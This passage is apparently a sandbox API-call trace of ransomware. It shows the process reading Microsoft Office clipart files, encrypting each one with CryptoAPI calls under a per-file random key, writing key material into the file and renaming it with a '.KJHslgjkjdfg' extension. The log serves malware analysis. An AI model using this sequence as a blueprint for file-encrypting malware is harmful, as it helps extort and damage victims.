(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.140] GetProcessHeap () returned 0x2ef0000 [0194.140] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.141] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.141] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.141] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0194.143] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.143] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.143] GetProcessHeap () returned 0x2ef0000 [0194.143] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.143] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.143] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.143] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.144] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.144] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.144] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.144] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.144] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x532, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x532, lpOverlapped=0x0) returned 1 [0194.144] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x540, dwBufLen=0x540 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x540) returned 1 [0194.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.145] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x540, lpOverlapped=0x0) returned 1 [0194.145] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.145] SetEndOfFile (hFile=0x130) returned 1 [0194.148] GetProcessHeap () returned 0x2ef0000 [0194.148] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.148] GetProcessHeap () returned 0x2ef0000 [0194.148] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.148] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.kjhslgjkjdfg")) returned 1 [0194.149] CloseHandle (hObject=0x130) returned 1 [0194.149] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0194.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.151] GetProcessHeap () returned 0x2ef0000 [0194.151] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.151] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.151] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.152] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.154] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.154] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.154] GetProcessHeap () returned 0x2ef0000 [0194.154] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.154] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.154] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.154] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.154] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.155] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.155] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.155] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.155] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.155] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.155] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5a4, lpOverlapped=0x0) returned 1 [0194.155] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b0) returned 1 [0194.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.155] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5b0, lpOverlapped=0x0) returned 1 [0194.156] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.156] SetEndOfFile (hFile=0x130) returned 1 [0194.159] GetProcessHeap () returned 0x2ef0000 [0194.159] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.159] GetProcessHeap () returned 0x2ef0000 [0194.159] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.159] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.kjhslgjkjdfg")) returned 1 [0194.160] CloseHandle (hObject=0x130) returned 1 [0194.160] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0194.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.160] GetProcessHeap () returned 0x2ef0000 [0194.161] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.161] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.161] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0194.162] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.162] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.162] GetProcessHeap () returned 0x2ef0000 [0194.162] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.162] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.162] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.162] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.162] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.163] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.163] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.163] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.163] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.163] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.163] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f26, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f26, lpOverlapped=0x0) returned 1 [0194.164] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f30, dwBufLen=0x1f30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f30) returned 1 [0194.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.164] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f30, lpOverlapped=0x0) returned 1 [0194.164] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.165] SetEndOfFile (hFile=0x130) returned 1 [0194.166] GetProcessHeap () returned 0x2ef0000 [0194.166] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.166] GetProcessHeap () returned 0x2ef0000 [0194.166] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.kjhslgjkjdfg")) returned 1 [0194.167] CloseHandle (hObject=0x130) returned 1 [0194.167] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0194.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.169] GetProcessHeap () returned 0x2ef0000 [0194.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.169] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.169] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0194.171] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.171] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.171] GetProcessHeap () returned 0x2ef0000 [0194.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.171] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.171] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.171] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.171] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.171] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.171] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.171] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.171] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.172] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.172] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.172] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x94a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x94a, lpOverlapped=0x0) returned 1 [0194.172] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x950, dwBufLen=0x950 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x950) returned 1 [0194.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.172] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x950, lpOverlapped=0x0) returned 1 [0194.172] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.172] SetEndOfFile (hFile=0x130) returned 1 [0194.174] GetProcessHeap () returned 0x2ef0000 [0194.174] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.174] GetProcessHeap () returned 0x2ef0000 [0194.174] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.174] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.kjhslgjkjdfg")) returned 1 [0194.175] CloseHandle (hObject=0x130) returned 1 [0194.175] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0194.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.176] GetProcessHeap () returned 0x2ef0000 [0194.176] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.176] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.176] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, 